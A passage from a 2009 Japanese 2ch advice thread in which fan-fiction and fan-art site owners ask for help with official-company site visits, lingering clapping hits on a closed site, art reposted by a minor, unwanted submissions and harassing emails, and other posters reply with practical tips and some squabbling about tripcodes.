ブログでは別の話題もあるし、知り合いになった人もきてるので
パス制とかはできれば避けたい(半ナマ話題削除にしたい)。

意見を聞いて削除のレベルをどうするかとか
むしろ今後どうするのか考えたいと思う。
追加で申し訳ないけれど助言お願いします。

567 ：スペースNo.な-74：2009/12/08(火) 18:12:21

>>566
一応お疲れ様。

自分的に一般セーフは1･2まで。3･4はサイトの萌語り場所でも作ってやれ、と思ってしまう。
でも、可愛い、発言も湾曲して取る奴はいるから、これからは自制したほうがいいかもね。
萌語りの場所つくってガーッと更新してるひともいるから、HTMLいじるのが面倒じゃなければオススメ。

568 ：スペースNo.な-74：2009/12/08(火) 18:14:35

分からないなら全部削除して隔離するのがいい
ジャンル外のここの匿名の人が「これぐらいいい」と言っても
ジャンルの中の人的にはダメかもしれない

569 ：544：2009/12/08(火) 18:18:34

了解。ありがとやしたー！

ちょっとこれから色々考えたい。

570 ：スペースNo.な-74：2009/12/08(火) 19:16:23

>>566
それが相談する立場？

571 ：スペースNo.な-74：2009/12/08(火) 19:19:08

>>570
日本語でおｋ

572 ：スペースNo.な-74：2009/12/08(火) 19:22:46

立場クソワロタｗｗｗｗ。

573 ：スペースNo.な-74：2009/12/08(火) 19:27:58

トリつけろって流れがなくなったんだな。

574 ：スペースNo.な-74：2009/12/08(火) 19:30:16

さすがに3，4の垂れ流しは釣りだと思いたい

575 ：スペースNo.な-74：2009/12/08(火) 19:42:36

トリはやっぱり付けた方がいいよ
どの相談者か分かりやすいし
でもすぐ上でトリの話題が出てても
見えない人には見えないんだよな

576 ：スペースNo.な-74：2009/12/08(火) 19:51:14

566みたいなのと同じジャンルだと思うと寒気がするな
同ジャンルの人達乙

577 ：スペースNo.な-74：2009/12/08(火) 20:24:07

それほど厨物件とは思えんよ
本当に正義厨ってウザイんだな

578 ：スペースNo.な-74：2009/12/08(火) 20:33:38

そういうのが嫌ならば生、半生はやらないのがいい

579 ： ◆U00MOF4AEo ：2009/12/08(火) 20:56:45

相談です。

自分のジャンルは原作が18禁で、製作会社は
「二次創作は販売可、ただしデータ（絵とか音楽）そのまま流用して販売するのは不可」
「エロ無し本や音楽アレンジCDでも18歳未満への販売や閲覧は禁止」
というスタンスでいらっしゃる。

自分はオン専でサイトは検索避け済で、ジャンルのサーチ集（そこも検索にはひっかからないと思う）に登録。
最近、アクセス解析を見てみると「原作の製作会社と思われる場所からアクセス」が頻繁に来ている。
どこからのリンクと言うわけでなく、何で来てるのか不明。
一応トップには18禁の旨明記してあるし、ガイドラインに沿ってサイトを運営してるつもりだけど気になる。
原作は男性向け18禁なんだけど、私は女性向け18禁も取り扱ってるので
もしかして普通のエロはいいけどBLはダメとかそういう感じなんだろうかと。
サーチには「女性向け」のカテゴリも一応あって、私と他に数件のサイトさんが登録してある状態、です。

質問は
・公式が同人を禁止していない場合でも、公式に見られているようならサイトを閉じるべきかどうか
・公式もそもそもBL二次は想定してなかった事態かもしれないので、サイトをやめるべきか確認するべきか
また、サイトを閉じない場合でも
・サーチから抜けるべきかどうか、またはサーチ管理人さんに相談（理由を言う）するべきかどうか
お願いします。

580 ：スペースNo.な-74：2009/12/08(火) 20:57:39

なにがアレってこういう関係のないスレにただひたすら
生半生はデリケートなんだからうんたらと言いにやってくるところ

581 ：スペースNo.な-74：2009/12/08(火) 21:02:54

>581
純粋にガイドラインに違反してるサイトかどうか見回ってるだけじゃない？
あとはマーケティング目的とか
社員が個人的に見に来てるって可能性もなくもない
公式に見られてても、ガイドラインに反していないのなら閉じる必要はないと思う

582 ：スペースNo.な-74：2009/12/08(火) 21:03:31

>>579
書いてある通りなら運営スタンスにはなんら問題ないはず
単純に　製作会社から見にきている社員がいる　というだけの気もするし、何か意図があったとしても
製作会社の方から正式に「サイトをやめろ」と言ってこなければそのまま気にしないで続けていいと思うよ
むしろ二次創作販売可とちゃんと発表している会社なんだから、他のジャンルよりも堂々としてて大丈夫

583 ：581：2009/12/08(火) 21:03:34

ごめん
×　>581
○　>579

584 ：スペースNo.な-74：2009/12/08(火) 21:17:24

たとえばこれが全年齢向け原作で
ファンアートを認めてくれて、会報等で同人誌を紹介してくれるぐらい
公式がオープンなジャンルだとしても
エロ抜きでもBLを公式の目に触れさせるって難しいとこなんじゃないかとふと思った。

>>579のジャンルに関しては、原作が18禁ってとこともあるし
ガイドラインに沿ってる（BL禁止とか特に書いてなければ）ならびくびくしなくていいかと。
ただ、私の知ってるアダルトゲーム会社で同じようなルールのところがあるんだけど
「キャラ作品のイメージを極度に損なわない事」
（ジャンル者は「猟奇すぎるエログロを避けろという意味」だと解釈してるが）
って決まりもついてて、BLだとそういった部分が抵触するのかどうかとか考えてしまった。
二次創作についてのガイドラインを明確にしている会社のようだし
問い合わせ窓口がはっきりしていて
今後サイトを続けていく上で不安が残るようなら
返事くるかどうかは分からないけど、その製作会社にBLの可否聞くのぐらいは大丈夫だと思う。

とにかく「公式が見に来てるから」って理由で閉じる必要や過剰に心配する必要は今のところは無し。
向こうからのアクションがあった時点で、その指示に従えばいいと思う。

585 ：スペースNo.な-74：2009/12/08(火) 21:42:31

>>579
推測になってしまうが、おそらくマーケティングの意味合いが強いと思うよ
男性向け作品でBLをやっているならばどういうところが気に入ったのか把握したいんじゃないかな
それを把握することで購買層が拡大できるかもしれないし

大事なのは公式が出しているルールを守ることなので
それが守れてさえいれば大丈夫
管理人に相談も必要ないよ

586 ：スペースNo.な-74：2009/12/08(火) 22:57:51

>>579
考えすぎ。NGなら即通達が来る、ないなら単に見てるだけ
自社製品や例えば自分の出演作品を扱うサイトを見に来る中の人もいるよ。

二次創作歓迎もっとやれってコミケでサークルに挨拶する会社もあるからな…

587 ： ◆U00MOF4AEo ：2009/12/09(水) 01:20:07

アドバイスありがとうございました。

あまり気にしなくていいんですね、安心しました。
でもやっぱり製作の人に見られてるかもしれないってプレッシャーだから
分かんないようにやってほしい、と内心思います。
マーケティングでも趣味でも…。
もちろん見てもらって嬉しい、って人もいるかもしれませんが恥ずかしいｗ

588 ：スペースNo.な-74：2009/12/09(水) 07:40:19

解析を見なければいいよ

589 ：スペースNo.な-74：2009/12/09(水) 08:36:07

>分かんないようにやってほしい、と内心思います。
何様だよ
二次に寛容な公式ってだけでもありがたいだろうに、ずうずうしいにも程がある

590 ：スペースNo.な-74：2009/12/09(水) 10:26:14

たとえ本家が二次に寛容でもあまり見られたいもんじゃないじゃん。
同人なんてｵﾅﾆｰみたいなもんだし。
いっそその会社弾いちゃえば？
何かしたかと勘繰られる可能性もあるかも知れないけど
他からアクセスして変わりがないの確認されれば問題ないでしょ。

591 ：スペースNo.な-74：2009/12/09(水) 11:22:23

社長が直々にファンサイトみてまわるゲームの二次やってるが、
リサーチ的な意味合いもあるが、それ以上にファン活動してくれているのが嬉しくてついつい…ということだそうだ
ご本人に直接言われた
中の人すら虜にしちゃったぜひゃっほう！くらいに思っておけばいいんじゃないかなぁ

592 ：スペースNo.な-74：2009/12/09(水) 11:33:00

相談者が締めた時点で　回　答　終　了　。

593 ：スペースNo.な-74：2009/12/09(水) 11:47:43

>>592
それ次からテンプレ変えよう
雑談続けたい話題もあるし、現状では雑談する人が大半なんだから

脳板は絡みスレが機能してないから他スレに移動して話題を続けることもできないんだし
次の相談くるまで雑談してりゃいいじゃない

594 ：スペースNo.な-74：2009/12/09(水) 12:03:38

相談者を叩いたり絡んだりするような雑談が延々続くくらいなら
雑談禁止の方がまだましだ

595 ：スペースNo.な-74：2009/12/09(水) 12:12:19

>>593
いつまでもしつこく相談者フルボコが続くから
あのテンプレが出来たのに

596 ：スペースNo.な-74：2009/12/09(水) 12:28:15

２，３回程度メッセージを頂いて返事した同ジャンルの人がいるんだが、
日記でみくしやってる事をさりげなく書いたら（みくしの日記でも書いたんだけど、みたいな感じで）
その人から急に「みくしやりたいんで招待して下さい」みたいなメッセージがきた
正直その人２を見てるの公言してるしメンヘラっぽい所あるからあまり仲良くしたくないんだけどどうするべき？
かなり人の少ないジャンルだから険悪な雰囲気にはしたくないし…

597 ：スペースNo.な-74：2009/12/09(水) 12:40:46

トリつけろよ。

「マイミクはリアルの友人のみで、日記の内容もリアルのネタばかりなので
ネットだけの繋がりの方はお断りしてます、ご了承下さい」
で切り抜ける。
すでに他のネットの知り合いとマイミクしてるのが
ばれてると不可かもだが。
あと、それで断ったなら日記をしばらく非公開にした方がいい。
どこからか登録したその人が見に来ないとも限らないから。

598 ：563：2009/12/09(水) 14:37:52

>>564,565
有難う御座います
サイト乗っ取りならバルサンすれば良いのでしょうが
こういったケースがあまり見かけないケースだったので
あたふたしてしまいました、参考にさせて頂きます

599 ：スペースNo.な-74：2009/12/09(水) 19:44:14

>>596
トリップ付けないバカはパソコンも携帯も捨てろ

600 ：スペースNo.な-74：2009/12/09(水) 20:41:58

>>598
残念だがここで対処しきれないパターン
専門家に相談してください。市の無料相談などを利用してそっちの指示に従ったほうがいいよ

601 ：スペースNo.な-74：2009/12/09(水) 20:53:34

>599
>1にはトリップ必須とは書いてないし
本人がトリップ不要だと思うならなくてもいいんじゃないの～？

602 ：スペースNo.な-74：2009/12/09(水) 21:00:32

次どうぞ

603 ：スペースNo.な-74：2009/12/09(水) 21:34:45

捨ててくる

604 ：スペースNo.な-74：2009/12/09(水) 22:07:30

>>601
テンプレにトリ必須が入ってないのは、このスレが元々同人板にあったからだよ。
脳板はID出ないからトリ付けた方が良い、それじゃあ次回テンプレ入れようか？
→質問者が一つ上のレスすら読まずトリ付けないって流れを今までに何度か繰り返してる。

605 ：スペースNo.な-74：2009/12/09(水) 22:10:17

>604
え？

>IDが出ない板なので、名前欄にトリップ推奨です。

606 ：スペースNo.な-74：2009/12/09(水) 22:11:38

>>605
必須と推奨の違いを言ってみろこのやろう

607 ：スペースNo.な-74：2009/12/09(水) 22:12:23

このスレは脳板に移動した後に立ったスレだろ

608 ：スペースNo.な-74：2009/12/09(水) 22:17:11

鳥付けて文句言われる事はないが
付けないと叩かれる事もあるので鳥はあった方が良いと思う

純粋に疑問なんだが、鳥付ける事に批判的な人ってどういう理由からなんだ？
鳥付けるメリットはあれど、デメリットは見当たらないんだが

609 ：スペースNo.な-74：2009/12/09(水) 22:18:00

>>607
テンプレはそのまま流用されたんじゃね？

610 ：スペースNo.な-74：2009/12/09(水) 22:23:23

>>608
鳥つける事自体に批判的な人はいないと思うよ
いるのはうっかりだか読んでないんだかで鳥付けない相談者と
それに鳥付けろと絡む人と
いちいち鳥付けるとか付けないとかごちゃごちゃうるせーよ、な人
だと思う

611 ：スペースNo.な-74：2009/12/09(水) 22:27:04

>>608
批判してんじゃなくて、トリつけないことでいつ出るかも知れない相談者の騙りよりも
毎回トリつけ強要妖怪が出てくることの方がウザいから
別に相談者がつけようがつけまいがどうでもいい

612 ：スペースNo.な-74：2009/12/09(水) 22:31:42

じゃあトリ必須やトリ推奨よりも
「トリは付けるな」の方がスレ的には安泰かもしれんな

613 ：スペースNo.な-74：2009/12/09(水) 22:32:37

鳥付けないと叩かれるから付けたほうがいいってなんだかなー
上の半生相談者の生者の正義厨に叩かれるから
パス付けたほうがいいってのと一緒だな
本来の事情よりも叩く奴のせいでそうした方がいいって馬鹿みたい

614 ：スペースNo.な-74：2009/12/09(水) 22:34:04

何でそう極論に走るんだか

615 ：スペースNo.な-74：2009/12/09(水) 22:35:23

>>612
それに加えて絶対に騙られたくない人はトリ推奨でいいんじゃね

616 ：スペースNo.な-74：2009/12/09(水) 22:36:03

トリの話題は定期的に繰り返すな…

いくらテンプレにトリ必須って書いても読まない人は読まないし
この際「トリップ推奨」のままでいい気がする
騙りを用心して付けたい人は付けるだろうし
必須じゃないから強要妖怪は出ないだろうし

617 ：スペースNo.な-74：2009/12/09(水) 22:45:59

じゃあ付けたかったらトリ付けて
次の相談どうぞー

618 ：スペースNo.な-74：2009/12/10(木) 07:51:07

>>1にトリップ必須と書いて、それで付けない奴に相談する資格はない。
分かりやすくていいじゃないか。

619 ：スペースNo.な-74：2009/12/10(木) 07:58:06

スレのルールも読まずに書き込むとフルボッコにされることもよくあるというのに

620 ：スペースNo.な-74：2009/12/10(木) 08:13:11

>>618-619
スレの流れも直前のレスすらも読めないんだね

次の相談どうぞー

621 ：スペースNo.な-74：2009/12/10(木) 11:31:57

ﾄﾘ必須にしてもﾄﾘなしでもいいじゃない
ぐぐれば解決できるだろって相談だったら「この情弱が！」って
思いながら真面目に返答すればいいし
頭を悩ますような重い相談だったら「切羽詰ってﾄﾘ忘れたんだな」とか
「この壮大さ釣りネタか？」と思いつつ真面目に返答すればいい

622 ：スペースNo.な-74：2009/12/10(木) 16:57:33

煽りに反応せず常に冷静であればよいのですね

623 ：スペースNo.な-74：2009/12/10(木) 20:03:33

そんな人に私もなりたい

624 ：スペースNo.な-74：2009/12/10(木) 22:48:20

なれるさ

625 ： ◆KARRBU6hjo ：2009/12/10(木) 23:19:20

この流れで言ってもいいものか…
ちょっと気になったことがあるので相談させてください。
うまく説明できなくてごめん。

二次小説サイトで本館とは別に半年ほど前から別ジャンルで別館を運営。
本→別はリンク張ってるけど別館からは本館にリンクなし＆本館の存在も告知してなかった。

大分萌えも治まってきたので、別館の小説を本館に移動させ閉鎖。
インデックスに本館のアドレス張って移転を告知。
鯖の都合上トップだけ残して作品ページを消すことが出来なかったので、
とりあえずインデックスからサイト内に入るリンクだけ消しておいた。

つい最近、そういえば別館用の拍手を解約してないことに気がついて解析を見たら
二ヶ月以上更新してないのにほぼ毎日パチが押してあるんだ…
サイトはフレームとか使ってなくて、小説ページ一つ一つに拍手ボタン含むメニューが入れてあるデザイン。

これってなんでなんだ？
どこからリンクされてるか全ページに解析しこんで調べるべき？
それとも気にしないほうがいいのかな…

626 ：スペースNo.な-74：2009/12/10(木) 23:32:44

>>625
その拍手って複数？コメントは？
コメントなしの1パチ程度ならロボットじゃないの？
気になるなら解析入れてみたらどうだろう

627 ：スペースNo.な-74：2009/12/10(木) 23:50:28

一番普通に考えられるのは
サイトの中にブクマしてる人が移転に気付かないまま閲覧
→最近更新無いな、拍手しとこう

辺りじゃないかと

628 ：スペースNo.な-74：2009/12/10(木) 23:59:05

ロボットってリンク辿って移動してるんじゃないの？
INDEXから繋いでないページの拍手まで押していくの？

作品のメニューページがまんま残ってるなら>>627説が有力だと思う
でも既にメニューにも移転のお知らせ入れてるならどこかからリンクされてる可能性もある

629 ：スペースNo.な-74：2009/12/11(金) 00:09:05

>>625
どうしても中身を残しておかなければいけないなら
ＴＯＰからのリンクはずすだけじゃなくて
中身にも更新停止したことを記述してみては？

630 ：スペースNo.な-74：2009/12/11(金) 01:08:00

>>625
お知らせページだけ作ってリンクしておいて、それ以外のページは消すってのでもいいんじゃないかな

拍手撤去しても拍手がくるならサイト丸コピで騙られている可能性もあるかも

631 ：スペースNo.な-74：2009/12/11(金) 02:10:17

>>630
>鯖の都合上トップだけ残して作品ページを消すことが出来なかったので、
中身だけは消せないらしい。

>>625
すべてのページを移転したことを知らせる内容にしてもいいとおもう。

632 ：スペースNo.な-74：2009/12/11(金) 07:42:01

>>631
だから作品ページは削除してお知らせページを変わりに作って置いておくんじゃないの？
まさか一度設置したページは二度と削除できないわけでもあるまい
トップだけ残しておくことが出来ないだけでしょ

633 ：スペースNo.な-74：2009/12/11(金) 08:16:04

>>632
>まさか一度設置したページは二度と削除できないわけでもあるまい

相談主(>>625)が

>鯖の都合上トップだけ残して作品ページを消すことが出来なかったので、
>とりあえずインデックスからサイト内に入るリンクだけ消しておいた。

と書いているんだが… ちゃんと読んでるか？

634 ：スペースNo.な-74：2009/12/11(金) 08:17:21

作品ページもすべて
「移転しました→URL」
に作り替えておけばいいだけの話じゃん

635 ：スペースNo.な-74：2009/12/11(金) 08:30:00

>>633
それはトップページ以外を０にするからじゃないの？
トップの1ページだけじゃダメって事では？
だから作品ページを撤去する前にお知らせページを作ってリンクすれば
他のページは撤去できるんじゃないの？
てか一度でもページ作っちゃったらその後一切ページ削除できなかったら鯖がどんどん重くならないか？？

636 ：スペースNo.な-74：2009/12/11(金) 08:49:27

作品ページに解析し込めるなら作品ページの差し替えはできるんだろう
そんな気になるなら解析入れてもいいと思うけどな
気が済むようにすればいいよ

637 ：スペースNo.な-74：2009/12/11(金) 12:57:00

トップしかなかったりトップと他ファイルが繋がってなかったりすると
規約違反で削除される類の鯖なんじゃないの？
だったら、作品全削除した上で代わりに詳細ページみたいなの上げて
トップに「移転しました（移転先へリンク）」と詳細ページへのリンク張ればおｋ。
詳細ページは別にたいした内容なくていいよ。
「萌えがおさまったので」うんぬんと適当な理由を描いとけば無問題。

ちょっと毒されてるのかもしれないが、直リンでコンテンツ騙られてたりすると
作品ページ削除は一番効くよ。

638 ：スペースNo.な-74：2009/12/11(金) 18:49:42

ファイルマネージャー機能がない鯖かもしれん
そんな馬鹿なと言われそうだが、自分が前使ってた鯖がそうだった
一回ファイルをアップしたら、ファイルそのものを削除する機能がない

639 ：スペースNo.な-74：2009/12/11(金) 18:57:52

なにそのふざけた鯖
改装や過去ログ整理したい時にすごい不便だな
とりあえず1ページ1ページ手作業で白紙にしておかないと
リンク切るだけじゃ不安だ

640 ： ◆KARRBU6hjo ：2009/12/11(金) 19:53:56

皆さんアドバイスありがとうございます。

>>638のいうとおり、ファイルの上書きは出来ても個別での消去が出来ない鯖なんです。借りてから気がつきました。
今までは不便だと思いつつも、上書きでなんとかしてました。

拍手はコメントは全くなく、更新していたときとほぼ変わらない数で押されています。
一ヶ月に１パチとから作品ページブクマしてる人かなと思えるんですが、あまりに多い気がして…

統合前に日記と中のトップで移転のお知らせをしており、そのお知らせは今も消してません。

結論として、面倒くさがらずに全ページ「移転しました→URLはこちら」に変えて、
あと何ヶ月かしたらアカウント削除という形にしようと思います。
本当にありがとうございました。

641 ：638：2009/12/11(金) 20:31:19

もう見てないかもしれんが、
自分は３桁にのぼるページ全て白紙→再アップした
その後で気付いたんだが

建築家なら、ＦＴＰツール使えば鯖のファイル削れる

建築家でなくても、同様のツールはあるとオモ
そっちのが楽だよ

642 ：スペースNo.な-74：2009/12/11(金) 20:43:00

拍手は機能してるんだよね？
押した後に出るページに移転告知載せたら？
もちろん今まで出てる方法に合わせて、だけど。

643 ：スペースNo.な-74：2009/12/12(土) 02:33:44

相談者が締めた時点で　回　答　終　了　。

644 ：スペースNo.な-74：2009/12/12(土) 04:28:18

少し相談させていただけますか？

あるジャンルで、自分のまわりの友人達の絵が転載されているブログを見つけました。
（※自分は字描きなので直接の被害者ではありません）

そのブログには私の友人を含め、ジャンルの神絵師の作品と、公式画像を掲載し、
自分で描いたかのように匂わせる（描いた、とは書いてない）コメをつけています。
プロフィールページでは「絵のリクエスト受け付けてます！」と書いています。

また相手はバトンの解答から中学生であること、
日記に参観日などの言葉があることから１８歳未満であることがわかっていますが、
１８禁の絵まで転載して、しかも特に注意書きもなく載せています。

とりあえずコメントで注意をしてみましたが、光の速さでコメ自体を消されました。
その後、ジャンル大手の画像だけ非表示にするなど、コソコソ隠蔽をはじめました。
ただ、ブログを消す、転載であることを詫びるなどのつもりはなさそうです。

プロバイダへの通報以外に何かできることはあるでしょうか。

645 ：スペースNo.な-74：2009/12/12(土) 04:54:10

友人さんの代理相談、ってことで良いんだよな？
本家が荒されてないなら、素直にプロバ通報だけしとくのが良いと思う。
聞いた感じIP分からなそうだからアク禁もできんだろうし。

事を荒立てると返ってメンドイよ。

646 ：スペースNo.な-74：2009/12/12(土) 04:56:16

あれ、ごめん代理なんて書いてないか。

647 ：スペースNo.な-74：2009/12/12(土) 05:03:17

>>644
自分の絵はないんでしょう？
それ以上やったら正義厨、スルー推奨

648 ：スペースNo.な-74：2009/12/12(土) 05:04:16

>>644
もう転載されてる友人達には言ってあるの？

通報以外にするとしたら、転載厨ちゃんからのアクセスをブロックして
転載されてる証拠にウェブを魚拓とってから
>>644ではなく著作者(絵を描いた本人)が個別に直接メールするしかないんじゃない？

それでも下げない、プロバから削除されないってんなら弁護士挟んでみるとかだな。

649 ：644：2009/12/12(土) 12:11:41

レスありがとうごございます。

代理相談、という形になるんでしょうか。
友人が２ｃｈを見たことがないのと、転載された絵によりによって
「こんなのでよければ、需要ないかもしれないけどどうぞ」
というような失礼なコメントをつけられていて、すごくショックをうけてしまって、
本人が相談にこれる状態じゃないので、代わりにきました。

転載されている友人達には、わかる範囲には全部知らせました。
が、友人の友人の絵も見つかったりで、公式、大手、弱小を問わず、
好きなキャラを見つけ次第、転載している状態みたいで、被害者は数不明です。

あと、アク禁はできそうにないですね。
しっかり検索避けしてあるサイトさんのも転載されているので、
たぶん、サーチを使って同人サイトを回って盗んでるみたいです。

今見たらウェブ魚拓はメンテに入ってしまっているようです。
あと、すでに１８禁絵をおいていたところはカテゴリをブロ友限定にして逃げられました。
あまり派手に動いてしまって丸ごと消されて逃げられる前に、魚拓をとってから、
転載された友人達に本人からの凸とサービス運営者への通報を勧めてみます。
ちょっと頭に血が上ってる自覚はあるので、もしやりすぎてる、
とかありましたら、ご指摘お願いします。

650 ：スペースNo.な-74：2009/12/12(土) 13:56:02

>>649もしまた書き込みするなら(友人さん本人でも)鳥付けた方がいいよ。

651 ：スペースNo.な-74：2009/12/12(土) 14:14:15

>あと、アク禁はできそうにないですね。
>しっかり検索避けしてあるサイトさんのも転載されているので、
>たぶん、サーチを使って同人サイトを回って盗んでるみたいです。

意味がわからん
検索避けとアク禁は別の話だしまずはアク禁すればいいんじゃないの？

652 ：スペースNo.な-74：2009/12/12(土) 14:43:20

>というような失礼なコメントをつけられていて、すごくショックをうけてしまって、
>本人が相談にこれる状態じゃないので、代わりにきました。

友人ならそれ以前にやることあるだろうに。
ましてや2chを見たことがない友人の相談を了承を得ずに2chでするって
本人が知ったらなんて思うんだろうね？

653 ：スペースNo.な-74：2009/12/12(土) 15:13:19

>>649
わかる範囲全部の友人に知らせたなら、
あとは各々の判断で行動するだろうし
＞魚拓をとってから、
＞転載された友人達に本人からの凸とサービス運営者への通報を勧めてみます。
これは「一回サラッと」助言＆「手伝える事があったら言ってね」とでも言い添えておいて、
後は「やれる事はとりあえずやった」で頭冷やすといいと思う

＞あまり派手に動いてしまって丸ごと消されて逃げられる前に
ここから「ブログ上で己の非を認めて完璧に謝罪させたい」みたいな感じが見て取れるけど、
丸ごと消して相手が逃げるなら、それはそれで「無断転載されている事自体」は解決するんだし
（転載されてる人達の）誰もが「全面対決！」を望む訳でもないと思うよ

654 ：649：2009/12/12(土) 16:35:12

トリップのアドバイスありがとうございます。
これで最後なのでトリはつけないでおきます。
冷静になれるアドバイス、ありがとうございます。

検索避けとアク禁については同じ段落で書いてしまいましたが、
全然意味が違うということはわかっています。
検索からじゃなくブクマからきているようなので、相手のIPがわからずアク禁にできません。

あと、２ｃｈで相談することは友人の了承を得ています。
慰めるとかそういうのはもちろんして、結果、なんとか相手に絵を消して欲しい、
という段階になったのでこちらに相談にまいりました。

そうですね、イタチごっこは嫌なので相手に非を認めさせたい、という気持ちがありました。
でも、友人達の絵さえ消してもらえたら当初の目的達成なので、
中学生相手だし話しが通じるとも思えないので、対決にならないよう気をつけます。

アドバイス、ありがとうございました。
ここで締めたいと思います。

655 ：スペースNo.な-74：2009/12/12(土) 16:45:54

ブクマから来てようが、サーチから来てようが、検索から来てようが、関係なくIPは分かるよね……？
使ってるサーバーや何やによるけど。
やっぱちゃんと分かってないんじゃない？

ま、どっちにしろ、後は本人達に任せればいいんでないでしょうか。

656 ：スペースNo.な-74：2009/12/12(土) 17:09:03

いつ来ていつ絵を持ってかれてるのかが判らないのに
どうやってＩＰが判るの？

657 ：スペースNo.な-74：2009/12/12(土) 17:20:19

DLチェッカーつけるとか対策は無くはないね
まあ本人がするべきだろうけど
無断転載や勝手に「自分の作品です」なんて言う奴が
一番悪いのは大前提だけどネットに公開してる以上
それにいちいち凹んでたら疲れるよ
無断転載を許せと言う意味ではなく心の持ちよう次第って意味ね

658 ：スペースNo.な-74：2009/12/12(土) 17:27:33

相手ﾘｱ中なら、案外右クリ禁止にするだけで
絵もっていけなくなったりしてね…
DLチェッカーって画像保存した相手のIPがわかるの？
他にもDLしてる人がいた場合、冤罪になりそうな気もする

659 ：スペースNo.な-74：2009/12/12(土) 17:32:32

>>655
そりゃ解析つけてればアクセス者のＩＰは取れるけど
それでどうやって無断転載するやつを個別に特定できるの？
ＤＬチェッカーにそんな機能あるとか？

660 ：スペースNo.な-74：2009/12/12(土) 19:51:13

3桁以上hitあったら向こうが接触してこない限り、まずIP特定なんてできなそう
でも以前、ここか乗っ取りかで「あなたの絵が大好きですメール交換したい」とかって
メール出して返信もらって相手IPｹﾞﾄした人いなかったっけ
あれはうまいと思った

661 ：スペースNo.な-74：2009/12/13(日) 03:30:02

今後の対策って事になるけど、イラストにはURL入れておくのがいいよ

662 ：スペースNo.な-74：2009/12/13(日) 07:46:16

転載対策
・絵を分割（スライス）してうｐ
・画像は背景設定にしてうｐ
・画像を重ねて表示する設定にして、上のレイヤーに透明のGIFを乗っける（右クリ保存では透明gifしか保存できない）

663 ：スペースNo.な-74：2009/12/13(日) 08:08:37

対策はパクられた本人に教えてあげないと意味ないよ
相談主はもう締めてるんだし教えたがりも控えれ

664 ：スペースNo.な-74：2009/12/13(日) 12:13:32

>>655
IPの特定は？
もしかしてちゃんと分かってなかったのに偉そうに言ってたの？
解析いれてれば全員の動向が分かるとでも思った？ｗ

665 ：スペースNo.な-74：2009/12/13(日) 14:07:00

相談者が締めた時点で　回　答　終　了　。
「もう見てないかもしれないけど」などの粘着アドバイスはやめましょう。

666 ：スペースNo.な-74：2009/12/14(月) 07:43:28

>>664
そっとしておいてあげて
IPがわかる範囲でしか人が来n

667 ：スペースNo.な-74：2009/12/14(月) 12:18:04

相談です。
いきなり作品を押し付けられ、
「○○さん（私）のサイトにコレ飾って下さい☆ﾐ」と言われたんです。
いただき物のページが無い場合は
「私の所だけに飾っておくのは勿体無いので、サイトを開設されてはいかがでしょう？」
とか言えるんですが、私のサイトにはいただき物のページがあるので、
「他の人の作品は飾ってるのに、何で私のは飾ってくれないの」
と言われそうで困ってます。相手をフジコらせずに断る方法はありますか？

668 ：スペースNo.な-74：2009/12/14(月) 12:35:51

相手のＩＰだけ工事中のページに飛ぶようにしたら？

669 ：スペースNo.な-74：2009/12/14(月) 12:54:04

>>667

「（ご好意で頂いたものを掲載させて頂いている事もありますが）
　当サイトは投稿サイトではありません。
　作品の投稿受付はしておりません」

好意から頂戴したものを結果として展示させてもらうのと、
掲載前提で送りつけるのは全然別の事だし。
一行目を括弧内に入れてるのは、行数増やしたり理由を足すと
厨は逆に意図を把握できなかったり曲解するため、必要性に迷ったので。

相手がフジコる・フジコらない、というよりも
自分のサイトの運営スタンスを、どこで線引きしてどうやって守るか、という問題な気がするが

670 ：スペースNo.な-74：2009/12/14(月) 13:09:36

>>667
自分も似たような経験ある。
「小説を書きました。あなたのサイトに乗せてもらいたんですがどうしたらいいですか」
て拍手でコメントされた。
いつも感想をくれる常連さんだったから困ったけど
「当サイトは投稿サイトではないので申し訳ありませんがそれは出来ません。
いただきものもオン・オフでお付き合いのあるお友達に限らせていただいています。
もし書いた作品を人に見ていただきたいのであれば
今はブログなど簡単な方法もあるのでそちらをおすすめします。
投稿サイトを活用するのもいいのではないでしょうか。がんばってください」
とレスをつけた。その後はトラブルなし。

ただ667の相手は勝手に作品を押し付けてきている時点で普通じゃないので
どんな対応をしても相手がごねる可能性は高いと思う。
厨はすぐ自分に都合がいいように解釈するので、毅然とした対応できっぱり断ったほうがいいよ。

671 ：677：2009/12/14(月) 21:30:58

レスありがとうございました。
なるほど～。大変参考になりました。
厨といっても、きっぱり言えば分かってくれる軽度な人もいると思うので、
お二人が教えて下さった方法で頑張ってみます。

672 ：スペースNo.な-74：2009/12/15(火) 19:12:48

相談させて下さい。

当方、オリキャラを登場させている二次の字書きです。
イベントにて本を出し、フリメのアドレスを晒したのですが、それから毎日変なメールが来てて困ってます。

オリキャラ×私のＨＮのＲ１８っぽい小説が、タイトル付きで毎日違うアドレス（フリメ）から送りつけられています。
タイトルで検索かけたらいくつか引っ掛かったんですが、どうも色んなジャンルのサイトの夢小説を名前変換してメールに使ってるようです。

意図不明ですごく気味が悪いんですが、どんな対策が取れるでしょうか？

673 ：スペースNo.な-74：2009/12/15(火) 19:58:21

>>672
メールのヘッダから相手のプロバイダーは分からないかな？
メールの数がある程度溜まったらプロバイダとフリメ提供元に
性的嫌がらせ行為を受けている、と通報してみたらどうだろうか

674 ：672：2009/12/15(火) 21:32:40

>>673
有難うございます。
プロパイダはともかく、フリメ提供元は一目瞭然なので通報してみます。
(相手側も、私と同じところを使っているようなので)

675 ：スペースNo.な-74：2009/12/16(水) 07:22:25

>>674
逆だ
フリメなんてどうでもいい、プロバイダが重要
どこのフリメ使おうと、それを発信したPCの情報がメールヘッダに出ている
通常はソフトが表示を省略してしまうから、オプションで表示させて、IP情報を確認するんだ
もし相手が上手だと、ヘッダ見ても追い詰められないけどな

676 ：スペースNo.な-74：2009/12/19(土) 00:10:03

保守しておく

677 ：スペースNo.な-74：2009/12/19(土) 19:08:13

遅れたが>>1乙

678 ：スペースNo.な-74：2009/12/19(土) 19:10:47

>>677
遅すぎだろｗ

679 ：スペースNo.な-74：2009/12/21(月) 04:41:24

相談なんだけど
相手側がHN名乗らず本名で拍手※送ってきたとき、返信はどうすればいいとおもう？
自家通販受けたことあるからそれが本名って知ってるんだよなぁ…

680 ：スペースNo.な-74：2009/12/21(月) 04:51:04

フルネーム返信はしないで名字だけ名前だけにする機転は効かせてもいいと思うが？
本名で※するなと返信したいならすればいいし

681 ：スペースNo.な-74：2009/12/21(月) 04:58:07

普通に
＞（内容の一部を引用）の方
＞●日×時の方
じゃいけない状況なの？
どうしても名前で返信しなきゃいけないならせめてイニシャルとか。

